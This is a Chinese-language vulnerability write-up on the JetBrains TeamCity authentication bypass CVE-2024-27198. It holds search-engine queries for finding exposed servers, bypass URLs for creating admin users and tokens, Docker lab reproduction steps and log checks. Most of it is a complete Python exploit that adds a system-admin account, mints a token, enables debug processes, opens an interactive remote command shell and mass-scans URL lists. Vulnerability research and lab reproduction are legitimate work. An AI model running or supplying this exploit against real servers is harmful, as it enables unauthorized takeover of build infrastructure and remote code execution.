【漏洞分析】CVE-2024-27198可RCE身份验证绕过JetBrains TeamCity

一、基本原理

向存在漏洞服务器发送一个不存在的页面请求
?jsp=/app/rest/server;.jsp
这会使服务器报错提供版本信息，且无需登录
Fofa
app=“JET_BRAINS-TeamCity”
ZoomEye
app:“JetBrains TeamCity”
Shodan
http.component:“teamcity”

二、创建新的管理员用户

通过向服务器的用户管理API发送请求，包含所需的用户名和密码
<teamcitysite>/hax?jsp=/app/rest/users;.jsp
或为自己生成管理员token，巩固权限
<teamcitysite>/hax?jsp=/app/rest/users/id:1/tokens/TokenName;.jsp

例如我们可以get‘请求如下
GET <teamcitysite>/hax?jsp=/app/rest/server;.jsp HTTP/1.1
服务器响应如下
C:\Users\>curl -ik http://x.x.x.x:8111/hax?jsp=/app/rest/server;.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 794
Date: Wed, 14 Feb 2024 17:24:59 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><server version="2023.11.3 (build 147512)" versionMajor="2023" versionMinor="11" startTime="20240212T021131-0800" currentTime="20240214T092459-0800" buildNumber="147512" buildDate="20240129T000000-0800" internalId="cfb27466-d6d6-4bc8-a398-8b777182d653" role="main_node" webUrl="http://localhost:8111" artifactsUrl=""><projects href="/app/rest/projects"/><vcsRoots href="/app/rest/vcs-roots"/><builds href="/app/rest/builds"/><users href="/app/rest/users"/><userGroups href="/app/rest/userGroups"/><agents href="/app/rest/agents"/><buildQueue href="/app/rest/buildQueue"/><agentPools href="/app/rest/agentPools"/><investigations href="/app/rest/investigations"/><mutes href="/app/rest/mutes"/><nodes href="/app/rest/server/nodes"/></server>

根据该响应确定服务存在漏洞

三、复现过程
下载存在漏洞的版本
docker pull jetbrains/teamcity-server:2023.11.3
启动容器
docker run -it -d --name teamcity -u root -p 8111:8111 jetbrains/teamcity-server:2023.11.3
在http://localhost:8111中完成TeamCity的基本设置

使用管理员账户登录，查看后台User中是否只有当前管理员这个账号

http://localhost:8111/admin/admin.html?item=users

使用POC添加一个新用户（POC在文末）

python3 CVE-2024-27198.py -t http://localhost:8111 -u admin0 -p admin0

回到用户界面可以看到新添加的用户

MetaSploit也发布了针对此漏洞的Module，大家可以自己尝试下。

三、自我检查

看日志UI或文件

可以在日志中看到新用户的创建情况http://localhost:8111/admin/admin.html?item=audit

在文件系统上的 Docker 容器中，TeamCity 日志位于 /opt/teamcity/logs 下：

通过查看 teamcity-activities.log 文件，我们可以看到正在创建的新用户,plugin被上传、禁用和删除,并删除一个新token。

在 teamcity-server.log 中：

四、POC

import random
import string
import urllib3
import argparse
import requests
import xml.etree.ElementTree as ET

from rich.console import Console
from urllib.parse import quote_plus
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


class TeamCity:
    def __init__(self, url, os="windows", verbose=False):
        self.url = url
        self.os = os
        self.verbose = verbose
        self.console = Console()

    def custom_print(self, message: str, header: str) -> None:
        header_colors = {"+": "green", "-": "red", "!": "yellow", "*": "blue"}
        self.console.print(
            f"[bold {header_colors.get(header, 'white')}][{header}][/bold {header_colors.get(header, 'white')}] {message}"
        )

    @staticmethod
    def generate_random_credentials():
        username = "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
        password = "".join(random.choices(string.ascii_letters + string.digits, k=10))
        return username, password

    def add_user(self):
        username, password = self.generate_random_credentials()
        user_data = {
            "username": username,
            "password": password,
            "email": f"{username}@example.com",
            "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]},
        }
        headers = {"Content-Type": "application/json"}
        add_user_url = f"{self.url}/hax?jsp=/app/rest/users;.jsp"
        try:
            response = requests.post(
                add_user_url, json=user_data, headers=headers, verify=False
            )
            if response.status_code == 200:
                user_info = self.parse_user_response(response.text)
                if user_info:
                    self.custom_print(
                        f"User created successfully. Username: {user_info['username']}, ID: {user_info['id']}, Password: {password}",
                        "+",
                    )
                    token_info = self.generate_user_token(user_info["id"])
                    if token_info:
                        modify_property = self.modify_internal_properties(
                            token_info["value"], "rest.debug.processes.enable", "true"
                        )
                        self.interactive_shell(
                            token_info["value"]
                        ) if modify_property else None
                else:
                    self.custom_print("User created but failed to parse response.", "!")
            else:
                self.custom_print(
                    f"Failed to create user. Status Code: {response.status_code}", "-"
                )
        except requests.exceptions.RequestException as e:
            self.custom_print(f"Request failed: {e}", "-") if self.verbose else None

    def generate_user_token(self, user_id):
        token_name = "".join(random.choices(string.ascii_letters + string.digits, k=10))
        token_url = (
            f"{self.url}/hax?jsp=/app/rest/users/id:{user_id}/tokens/{token_name};.jsp"
        )
        try:
            response = requests.post(token_url, verify=False)
            if response.status_code == 200:
                token_info = self.parse_token_response(response.text)
                if token_info:
                    self.custom_print(
                        f"Token created successfully for user ID: {user_id}. Token Name: {token_name}, Token: {token_info['value']}",
                        "+",
                    )
                    return token_info
                else:
                    self.custom_print(
                        "Token created but failed to parse response.", "!"
                    )
            else:
                self.custom_print(
                    f"Failed to create token. Status Code: {response.status_code}", "-"
                )
        except requests.exceptions.RequestException as e:
            self.custom_print(f"Request failed: {e}", "-")

    def parse_user_response(self, response_text):
        try:
            root = ET.fromstring(response_text)
            user_info = {
                "username": root.attrib.get("username"),
                "id": root.attrib.get("id"),
                "email": root.attrib.get("email"),
            }
            return user_info
        except ET.ParseError as e:
            self.custom_print(f"Failed to parse user XML response: {e}", "!")
            return None

    def modify_internal_properties(self, token, key, value):
        uri = f"{self.url}/admin/dataDir.html"
        headers = {"Authorization": f"Bearer {token}"}
        params = {
            "action": "edit",
            "fileName": "config/internal.properties",
            "content": f"{key}={value}" if value else "",
        }
        try:
            response = requests.post(uri, headers=headers, params=params, verify=False)
            if response.status_code == 200:
                self.custom_print("Internal properties modified successfully.", "+")
                return True
            else:
                self.custom_print(
                    f"Failed to modify internal properties. Status Code: {response.status_code}",
                    "-",
                )
                return False
        except requests.exceptions.RequestException as e:
            self.custom_print(f"Request failed: {e}", "-")
            return False

    def execute_remote_command(self, token, os_type="linux", command="whoami"):
        headers = {
            "Authorization": f"Bearer {token}",
        }

        match os_type.lower():
            case "windows":
                exe_path = "cmd.exe"
                params = "/c"
            case "linux":
                exe_path = "/bin/sh"
                params = "-c"

        command_encoded = quote_plus(command)
        execute_url = f"{self.url}/app/rest/debug/processes?exePath={exe_path}&params={params}&params={command_encoded}"

        try:
            response = requests.post(execute_url, headers=headers, verify=False)
            if response.status_code == 200:
                return response.text
            else:
                return False
        except requests.exceptions.RequestException:
            return False

    def parse_response(self, response_text, parse_type):
        try:
            root = ET.fromstring(response_text)
            if parse_type == "version":
                return root.attrib.get("version")
        except ET.ParseError as e:
            self.custom_print(
                f"Failed to parse XML response: {e}", "!"
            ) if self.verbose else None
        return None

    def process_users(self, users_xml):
        try:
            root = ET.fromstring(users_xml)
            users_count = root.attrib.get("count", "0")
            self.custom_print(f"Total Users: {users_count}", "*")
            for user in root.findall("user"):
                username = user.attrib.get("username", "N/A")
                name = user.attrib.get("name", "N/A")
                user_id = user.attrib.get("id", "N/A")
                self.custom_print(f"User: {username}, Name: {name}, ID: {user_id}", "*")
        except ET.ParseError as e:
            self.custom_print(f"Failed to parse users XML response: {e}", "!")

    def parse_token_response(self, response_text):
        try:
            root = ET.fromstring(response_text)
            token_info = {
                "name": root.attrib.get("name"),
                "value": root.attrib.get("value"),
                "creationTime": root.attrib.get("creationTime"),
            }
            return token_info
        except ET.ParseError as e:
            self.custom_print(f"Failed to parse token XML response: {e}", "!")
            return None

    def make_request(self):
        version_url = f"{self.url}/hax?jsp=/app/rest/server;.jsp"
        users_url = f"{self.url}/hax?jsp=/app/rest/users;.jsp"
        try:
            version_response = requests.get(version_url, verify=False, timeout=20)
            users_response = requests.get(users_url, verify=False, timeout=20)
            version = self.parse_response(version_response.text, "version")
            if version_response.status_code == 200 and version:
                self.custom_print(
                    f"{self.url:<{30}} | Server Version: {version:<{30}} | CVE-2024-27198",
                    "+",
                )
                if users_response.status_code == 200 and self.verbose:
                    self.process_users(users_response.text)
                else:
                    self.custom_print(
                        "Failed to retrieve user information.", "!"
                    ) if self.verbose else None
                    return True
            else:
                self.custom_print(
                    f"{self.url} is not vulnerable.", "-"
                ) if self.verbose else None
                return False

        except requests.exceptions.RequestException as e:
            self.custom_print(f"Request failed: {e}", "-") if self.verbose else None

    def interactive_shell(self, token):
        test_command_output = self.execute_remote_command(
            token, self.os, command="echo Ready"
        )
        if test_command_output:
            self.custom_print("Shell is ready, please type your commands UwU", "!")
        else:
            self.custom_print(
                "Failed to execute test command. Remote command execution may not be available.",
                "-",
            )
            return

        session = PromptSession(history=InMemoryHistory())

        while True:
            try:
                cmd = session.prompt(HTML("<ansired><b>$ </b></ansired>"))
                match cmd.lower():
                    case "exit":
                        break
                    case "clear":
                        self.console.clear()
                    case _:
                        output = self.execute_remote_command(
                            token, self.os, command=cmd
                        )
                        if output:
                            self.custom_print(f"Output:\n{output}", "+")
                        else:
                            self.custom_print("Failed to execute command.", "-")
            except KeyboardInterrupt:
                self.modify_internal_properties(
                    token, "rest.debug.processes.enable", "false"
                )
                break


def scan_url(url, output):
    team_city = TeamCity(url)
    if team_city.make_request():
        with open(output, "a") as file:
            file.write(f"{url}\n")


def main():
    parser = argparse.ArgumentParser(
        description="""
    Exploit script for CVE-2024-27198: Demonstrates an authentication bypass vulnerability in JetBrains TeamCity versions prior to 2023.11.4. 
    This tool can add a user with administrative privileges or list users on vulnerable servers, providing a proof of concept for unauthorized admin actions."""
    )

    parser.add_argument("-u", "--url", type=str, help="URL to TeamCity server.")
    parser.add_argument(
        "--add-user",
        action="store_true",
        help="Add a new user with random credentials and parse response.",
    )
    parser.add_argument(
        "--payload-type",
        type=str,
        default="linux",
        help="Payload type ('linux' or 'windows').",
    )
    parser.add_argument(
        "-l", "--list", type=str, help="File containing list of URLs to process."
    )
    parser.add_argument(
        "-o",
        "--output",
        type=str,
        help="Path to the output file where results will be saved.",
    )

    args = parser.parse_args()

    if args.list:
        urls = []
        with open(args.list, "r") as file:
            urls = [line.strip() for line in file.readlines()]

        with alive_bar(len(urls), enrich_print=False) as bar:
            with ThreadPoolExecutor(max_workers=100) as executor:
                future_to_url = {
                    executor.submit(scan_url, url, args.output): url for url in urls
                }
                for _ in as_completed(future_to_url):
                    bar()
    elif args.url:
        team_city = TeamCity(args.url, args.payload_type, verbose=True)
        if args.add_user:
            team_city.add_user()
        else:
            team_city.make_request()
    else:
        parser.print_help()


if __name__ == "__main__":
    main()